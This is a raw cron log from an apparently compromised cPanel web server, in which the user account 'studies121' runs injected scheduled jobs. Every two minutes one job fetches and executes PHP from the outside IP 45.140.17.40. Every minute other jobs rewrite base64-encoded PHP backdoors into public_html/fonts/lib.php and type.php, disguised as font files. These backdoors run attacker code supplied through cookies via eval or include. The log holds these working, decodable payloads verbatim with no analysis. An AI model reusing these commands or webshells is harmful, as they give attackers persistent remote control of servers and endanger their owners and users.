Sep  8 18:06:01 ip-184-168-122-23 CROND[25607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:06:01 ip-184-168-122-23 CROND[25604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:06:01 ip-184-168-122-23 CROND[25608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:07:01 ip-184-168-122-23 CROND[25971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:07:01 ip-184-168-122-23 CROND[25971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:07:01 ip-184-168-122-23 CROND[25975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:08:01 ip-184-168-122-23 CROND[26301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:08:01 ip-184-168-122-23 CROND[26303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:08:01 ip-184-168-122-23 CROND[26306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:08:01 ip-184-168-122-23 CROND[26305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:08:01 ip-184-168-122-23 CROND[26304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:09:01 ip-184-168-122-23 CROND[26713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:09:01 ip-184-168-122-23 CROND[26714]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 18:09:01 ip-184-168-122-23 CROND[26715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:09:01 ip-184-168-122-23 CROND[26717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:09:01 ip-184-168-122-23 CROND[26718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:10:01 ip-184-168-122-23 CROND[27089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:10:01 ip-184-168-122-23 CROND[27091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:10:01 ip-184-168-122-23 CROND[27093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 18:10:01 ip-184-168-122-23 CROND[27094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:10:01 ip-184-168-122-23 CROND[27096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:10:01 ip-184-168-122-23 CROND[27097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:10:01 ip-184-168-122-23 CROND[27095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:10:01 ip-184-168-122-23 CROND[27099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:11:01 ip-184-168-122-23 CROND[27541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:11:01 ip-184-168-122-23 CROND[27543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:11:01 ip-184-168-122-23 CROND[27545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:11:01 ip-184-168-122-23 CROND[27544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:12:01 ip-184-168-122-23 CROND[27961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:12:01 ip-184-168-122-23 CROND[27965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:12:01 ip-184-168-122-23 CROND[27963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:12:01 ip-184-168-122-23 CROND[27964]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:12:01 ip-184-168-122-23 CROND[27966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:13:01 ip-184-168-122-23 CROND[28491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:13:01 ip-184-168-122-23 CROND[28493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:13:01 ip-184-168-122-23 CROND[28492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:13:01 ip-184-168-122-23 CROND[28495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:14:01 ip-184-168-122-23 CROND[28897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:14:01 ip-184-168-122-23 CROND[28898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:14:01 ip-184-168-122-23 CROND[28899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:14:01 ip-184-168-122-23 CROND[28903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:14:01 ip-184-168-122-23 CROND[28902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:15:01 ip-184-168-122-23 CROND[29241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:15:01 ip-184-168-122-23 CROND[29243]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  8 18:15:01 ip-184-168-122-23 CROND[29244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 18:15:01 ip-184-168-122-23 CROND[29246]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 18:15:01 ip-184-168-122-23 CROND[29248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:15:01 ip-184-168-122-23 CROND[29247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 18:15:01 ip-184-168-122-23 CROND[29245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 18:15:01 ip-184-168-122-23 CROND[29250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:16:01 ip-184-168-122-23 CROND[29610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 18:16:01 ip-184-168-122-23 CROND[29613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 18:16:01 ip-184-168-122-23 CROND[29612]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 18:16:01 ip-184-168-122-23 CROND[29616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 18:16:01 ip-184-168-122-23 CROND[29614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 18:16:01 ip-184-168-122-23 CROND[29615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
